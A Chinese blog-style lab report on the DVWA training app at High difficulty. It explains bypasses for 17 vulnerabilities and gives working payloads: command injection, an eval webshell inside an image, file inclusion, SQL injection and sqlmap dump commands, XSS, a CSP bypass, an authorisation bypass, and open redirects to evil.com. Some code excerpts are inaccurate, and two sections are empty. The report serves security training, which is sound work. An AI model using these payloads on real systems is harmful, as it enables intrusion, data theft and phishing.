如何撰写DVWA靶场实验报告(高级)的详细?

摘要:> **难度等级**:High
> **报告说明**:本文为 DVWA 靶场 High 难度下**17个漏洞**的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于B
DVWA 靶场实验报告 (High Level) 难度等级:High 报告说明:本文为 DVWA 靶场 High 难度下17个漏洞的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于Burp Suite、Sqlmap等工具实现,所有操作步骤均配套实操截图 https://www.cnblogs.com/wrold 📑 目录 Brute Force --- 暴力破解 Command Injection --- 命令注入 CSRF --- 跨站请求伪造 File Inclusion --- 文件包含 File Upload --- 文件上传 Insecure CAPTCHA --- 不安全的验证码 SQL Injection --- SQL 注入 SQL Injection (Blind) --- SQL 盲注 Weak Session IDs --- 弱会话 ID XSS (DOM) --- DOM 型跨站脚本 XSS (Reflected) --- 反射型跨站脚本 XSS (Stored) --- 存储型跨站脚本 CSP Bypass --- CSP 策略绕过 JavaScript Attacks --- JavaScript 攻击 Authorisation Bypass --- 越权访问 Open HTTP Redirect --- 开放重定向 Cryptography --- 密码学 1. Brute Force — 暴力破解 漏洞特点 High 难度新增时间延迟+user_token 验证,token 明文显示在前端页面,需动态提取 token 配合爆破。 利用步骤 抓包:通过Burp Suite抓取登录请求包,可见username、password、user_token三个核心参数,token 为32位随机字符串。 定位token:查看前端页面源码,token 藏在<input type="hidden" name="user_token" value="xxx">中,可通过正则匹配提取。 Burp 配置 进入Intruder,选择Pitchfork 交叉爆破,标记password和user_token为爆破位置; 进入Settings,开启提取Grep项,正则表达式配置为value=(.*?)\/>\r\n,匹配前端的token值; 对user_token的Payload类型选择递归提取,并填入初始请求的有效token(抓包获取的原始token)。 爆破设置:将资源池发包最大次数改为1(禁止并发,避免token失效),加载密码字典开始爆破。 结果分析:按响应长度排序,长度与其他条目不同的即为正确密码(正确登录的响应页面与错误页面长度存在明显差异)。 核心注意点 抓包后禁止提前发包,否则token会刷新导致爆破失败,需保证初始token与爆破请求一致。 2. Command Injection — 命令注入 漏洞特点 High 难度对管道符等命令分隔符做了黑名单过滤,但过滤代码存在空格书写错误,导致过滤失效,可构造无空格的命令拼接Payload。 漏洞代码分析 if(isset($_POST['Submit'])){ $target= trim($_REQUEST['ip']); $substitutions = array( // 过滤代码存在多余空格,导致过滤逻辑失效 ); $target=str_replace( array_keys( $substitutions ),$substitutions, $target ); if(stristr(php_uname('s'),"Windows NT")){ $cmd=shell_exec("ping ".$target); }else{ $cmd=shell_exec("ping -c4 ".$target); } $html.="<pre>{$cmd}</pre>"; } 利用方法 直接构造无空格管道符拼接的Payload,绕过滤黑名单位置: 127.0.0.1|whoami 提交后成功执行系统命令,返回当前用户信息。 3. CSRF — 跨站请求伪造 漏洞特点 High 难度新增user_token 验证,token 明文显示在前端HTML源码中,单纯构造CSRF链接无法绕过,需配合XSS漏洞提取token后组合攻击。 漏洞分析 抓包修改密码请求,可见URL中包含password_new、password_conf、user_token参数,token为必填项。 查看前端源码,user_token藏在隐藏输入框中,攻击者无法直接获取受害者的token,但可通过XSS注入脚本自动提取受害者的token并拼接CSRF请求。 攻击思路 利用靶场中存在的XSS漏洞(如反射型、存储型),构造XSS脚本提取页面中的user_token; 将提取的token拼接至CSRF修改密码的URL中; 诱导受害者点击包含XSS+CSRF的恶意链接,实现自动修改密码。 4. File Inclusion — 文件包含 漏洞特点 High 难度对page参数做了关键词白名单过滤(仅允许包含file/fie),但未限制伪协议,可通过file://伪协议实现任意文件读取。 漏洞代码分析 $file=$_GET['page']; if(!fnmatch("file,fie",$file)&&$file !="include.php"){ echo "ERROR:File not found!"; exit; } 利用方法 构造file://伪协议Payload,指定本地文件绝对路径,实现任意目录文件读取: http://dvwa:8564/vulnerabilities/fi/?page=file://D:/1.php 拓展利用 若服务器开启php://伪协议相关配置,可结合php://filter实现源码读取: http://dvwa:8564/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php 5. File Upload — 文件上传 漏洞特点 High 难度做了多重过滤:文件类型校验、文件大小限制、getimagesize()图片头校验,无法直接上传webshell,需制作图片马配合文件包含漏洞实现webshell执行。 漏洞代码分析 // 校验文件后缀、大小、是否为图片 if((strtolower($uploaded_ext) in $allowed_ext)&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){ // 上传成功逻辑 } 利用步骤 制作图片马:任意正常图片(如11.png)后拼接PHP一句话webshell,保留图片文件头(避免getimagesize()校验失败)。// 图片马制作(cmd命令) copy 1.png /b + shell.php /a 11.png 图片马内容示例:<?php phpinfo();?>(测试用)/<?php @eval($_POST['pass']);?>(一句话webshell)。 上传图片马:直接上传制作好的11.png,靶场提示上传成功,返回文件路径../hackable/uploads/11.png。 文件包含利用:通过File Inclusion漏洞的file://伪协议,包含上传的图片马,执行PHP代码:http://dvwa:8564/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/11.png 访问后成功执行phpinfo(),证明图片马生效。 核心注意点 图片马必须保留合法图片头,否则getimagesize()会检测出非图片文件,导致上传失败。 6. Insecure CAPTCHA — 不安全的验证码 7. SQL Injection — SQL 注入 漏洞特点 High 难度新增会话弹窗验证,但注入核心逻辑未变,仍为字符型注入,可通过手工注入或Sqlmap实现数据提取。 利用步骤(手工注入) 判断注入类型: 输入1:正常返回数据; 输入1':页面报错,说明为字符型注入,需用单引号闭合,注释符#截断语句。 验证注入点:输入1' and 1=1 #,正常返回数据;输入1' and 1=2 #,无数据返回,注入点有效。 判断列数:输入1' order by 2 #,正常返回;输入1' order by 3 #,报错,说明查询结果为2列。 联合注入提取数据: 提取数据库名:-1' union select 1,database() # 提取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 提取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 提取账号密码:-1' union select user,password from users # 利用步骤(Sqlmap自动化注入) 由于注入结果在第二个页面展示,需使用--second-url参数指定结果页面,命令如下: # 读取所有数据库 sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/ # 读取users表数据 sqlmap -r D:\Backup\桌面\1.txt -D dvwa -T users -C user,password --dump --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/ 执行后成功提取数据库中所有账号和加密后的密码。 8. SQL Injection (Blind) — SQL 盲注 漏洞特点 High 难度在时间盲注中加入随机sleep延迟(rand(0,5)==3时触发2-4秒延迟),导致时间盲注失效,仅能使用布尔盲注实现数据提取。 漏洞代码分析 else { // 随机sleep,干扰时间盲注 if(rand(0,5)==3){ sleep(rand(2,4)); } } 利用步骤(Sqlmap自动化布尔盲注) 抓包:抓取盲注请求包,发现注入点位于Cookie的id参数中(id=1)。 指定布尔盲注:使用--technique=B参数强制Sqlmap使用布尔盲注,结合--second-url指定结果页面,命令如下: sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url="http://dvwa:8564/vulnerabilities/sqli_blind/" --technique=B 结果提取:Sqlmap通过布尔盲注的页面回显差异,成功爆破出所有数据库名(dvwa、security、pikachu等)。 核心注意点 请求包中有多个参数时,避免同时标记多个注入点,逐个测试定位真实注入点(本次为Cookie的id参数)。 9. Weak Session IDs — 弱会话 ID 漏洞特点 High 难度的dvwaSession参数为MD5加密的简单数字,可通过MD5解密构造有效会话ID,导致会话劫持。 利用步骤 查看Cookie:在浏览器开发者工具中查看Cookie,可见dvwaSession=b6d767d2f8ed5d21a44b0e5886680cb9。 MD5解密:将dvwaSession的值进行MD5解密,结果为22(简单数字)。 构造会话ID:通过MD5加密连续数字(21、22、23、24...),生成大量有效dvwaSession值,尝试会话劫持。 漏洞危害 攻击者可通过构造弱会话ID,冒充其他用户登录系统,获取敏感信息。 10. XSS (DOM) — DOM 型跨站脚本 漏洞特点 High 难度对default参数做了白名单过滤(仅允许French、English、German、Spanish),非白名单值会被重定向,可通过#号绕过服务器过滤(服务器不解析#后参数,前端DOM解析)。 漏洞代码分析 if(array_key_exists("default",$_GET)&&!is_nulL($_GET['default'])){ switch($_GET['default']){ case "French":case "English":case "German":case"Spanish": break; default: header("Location:?default=English"); exit; } } 利用方法 构造Payload,白名单值+#号+XSS脚本,服务器仅解析#前的English,前端DOM解析#后的XSS脚本: http://dvwa:8564/vulnerabilities/xss_d/?default=English#<script>alert(1)</script> 访问后成功弹出弹窗,XSS利用成功。 11. XSS (Reflected) — 反射型跨站脚本 漏洞特点 High 难度对<script>标签做了严格的正则过滤(匹配任意变种的script关键字,如ScRiPt、script等),无法直接使用script标签,可通过事件型XSS绕过滤。 漏洞代码分析 $name=preg_replace('/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t/i',"",$_GET['name']); $html.="<pre>hello{$name}</pre>"; 利用方法 使用<img>标签的onerror事件构造无script的XSS Payload,触发弹窗: <img src=x onerror=alert(1)> 提交后成功弹出弹窗,XSS利用成功。 拓展Payload <div onmouseover=alert(1)>鼠标悬停触发</div> <a href=javascript:alert(1)>点击触发</a> 12. XSS (Stored) — 存储型跨站脚本 漏洞特点 High 难度对message字段做了多重过滤(strip_tags+addslashes+htmlspecialchars),完全无法注入;对name字段仅过滤<script>标签,可在name字段构造事件型XSS,并修改前端输入框限制实现长Payload输入。 漏洞代码分析 // message字段严格过滤 $message=strip_tags(addslashes( $message)); $message=htmlspecialchars ( $message); // name字段仅过滤script标签 $name=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/i',"",$name); 利用步骤 修改前端输入限制:name输入框默认有长度限制,通过浏览器开发者工具修改maxlength为10000,允许输入长Payload。 构造Payload:在name字段输入<img>标签的onerror事件XSS Payload,message字段任意填写:<img src=x onerror=alert(1)> 3. 提交触发:提交后留言簿中存储该Payload,任意用户访问留言簿页面时,自动弹出弹窗,存储型XSS利用成功。 13. CSP Bypass — CSP 绕过 漏洞特点 High 难度配置了内容安全策略(CSP),仅允许加载self(自身域名)的脚本,禁止外部脚本和未授权内联脚本,但靶场自身代码存在逻辑漏洞,可通过自身的JSONP接口绕过CSP。 漏洞分析 查看响应头,CSP配置为:Content-Security-Policy: script-src 'self'。 发现靶场存在JSONP接口:/vulnerabilities/csp/source/jsonp.php?callback=xxx,该接口可接收任意callback参数并执行,且属于自身域名,符合CSP规则。 后端存在任意代码写入漏洞,include参数可直接写入HTML/JS代码,无过滤。 利用方法 通过POST请求向include参数注入脚本,加载自身JSONP接口并执行XSS代码,Payload如下: include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script> 操作步骤 打开Burp Suite的Repeater,构造POST请求,目标URL:http://dvwa:8564/vulnerabilities/csp/; 请求体为application/x-www-form-urlencoded,参数:include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>; 发送请求后,成功弹出弹窗,CSP绕过成功。 14. JavaScript Attacks — JavaScript 攻击 漏洞特点 High 难度通过JavaScript加密算法生成token,需提交正确的phrase+token才能通过验证,核心为分析加密逻辑并还原token生成过程。 加密逻辑分析 通过Burp抓包获取混淆的JS代码,反混淆后得到3个核心加密函数,执行顺序为:token_part_1 → token_part_2(300ms延时) → token_part_3(点击提交触发)。 反混淆后核心JS代码 // 字符串反转 function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } // sha256(YY + token),High难度为XX function token_part_2(e = "XX") { document.getElementById("token").value = sha256(e + document.getElementById("token").value) } // sha256(token + ZZ) function token_part_3(t, y = "ZZ") { document.getElementById("token").value = sha256(document.getElementById("token").value + y) } // 反转phrase赋值给token function token_part_1(a, b) { document.getElementById("token").value = do_something(document.getElementById("phrase").value) } // 执行顺序:先token_part_1,300ms后token_part_2,点击提交触发token_part_3 document.getElementById("phrase").value = ""; setTimeout(function() {token_part_2("XX")}, 300); document.getElementById("send").addEventListener("click", token_part_3); token_part_1("ABCD", 44); 利用方法(两种) 方法1:前端控制台手动执行加密函数 在输入框中填入正确的phrase:success; 打开浏览器开发者工具控制台,按顺序执行加密函数:token_part_1("ABCD", 44); token_part_2("XX"); 3. 点击提交按钮,触发token_part_3生成最终token,验证成功。 方法2:Python脚本还原加密过程,直接生成token 通过Python实现字符串反转+SHA256加密,直接生成最终token,构造POST请求提交。 Python加密脚本 import hashlib def do_something(e): """字符串反转""" return e[::-1] def sha256(s): """SHA256 哈希计算""" return hashlib.sha256(s.encode()).hexdigest() def calc_token(phrase="success"): # Step 1: token_part_1 - 反转phrase token = do_something(phrase) print(f"Step 1 (反转phrase): {token}") # Step 2: token_part_2 - sha256("XX" + token) token = sha256("XX" + token) print(f"Step 2 (sha256 XX+token): {token}") # Step 3: token_part_3 - sha256(token + "ZZ") token = sha256(token + "ZZ") print(f"Step 3 (sha256 token+ZZ): {token}") return token if __name__ == "__main__": phrase = "success" token = calc_token(phrase) print(f"\n最终token: {token}") print(f"POST数据: phrase={phrase}&send=Submit&token={token}") 执行脚本 运行后生成最终token,通过Burp构造POST请求提交,验证成功。 15. Authorisation Bypass — 越权访问 漏洞特点 High 难度对前端页面做了管理员权限校验(非admin用户访问提示403),但对后端接口文件change_user_details.php未做鉴权,可直接发送JSON请求修改任意用户信息。 漏洞代码分析 // 前端页面权限校验 ![](https://cdn.jsdelivr.net/gh/Tjsdrj/BlogImage@main/img/20260303174017788.png) if (dvwaCurrentUser() !="admin"){ print "Unauthorised"; http_response_code(403); exit; } // 后端接口change_user_details.php 无任何鉴权逻辑 利用方法 直接向change_user_details.php发送JSON格式的POST请求,修改任意用户的id、姓名等信息: 目标URL:http://dvwa:8564/vulnerabilities/authbypass/change_user_details.php; 请求头:Content-Type: application/json; 请求体(JSON):{"id":3,"first_name":"hacked","surname":"hacked"} 4. 发送请求后,返回{"result":"ok"},用户信息修改成功。 16. Open HTTP Redirect — 开放重定向 漏洞特点 High 难度对redirect参数做了关键字匹配过滤(仅允许包含info.php),但未限制info.php的位置,可构造包含info.php的恶意URL,实现任意地址重定向。 漏洞代码分析 if (array_key_exists("redirect",$_GET) && $_GET['redirect']!=""){ if(strpos($_GET['redirect'],"info.php")==false){ http_response_code(500); echo "<p>You can only redirect to the info page.</p>"; exit; }else{ // 重定向逻辑 header("Location: ".$_GET['redirect']); } } 利用方法 构造包含info.php的恶意URL,绕过滤后将受害者重定向到钓鱼网站/恶意站点,核心Payload示例: # Payload1:参数后拼接info.php ?redirect=https://evil.com/?x=info.php # Payload2:子域名中包含info.php ?redirect=https://evil.com/info.php.attacker.com/ # Payload3:锚点后拼接info.php ?redirect=https://attacker.com#info.php 漏洞危害 攻击者诱导受害者点击恶意链接,受害者在信任的dvwa域名下被重定向到恶意站点,导致钓鱼、账号窃取等攻击。 17. Cryptography — 密码学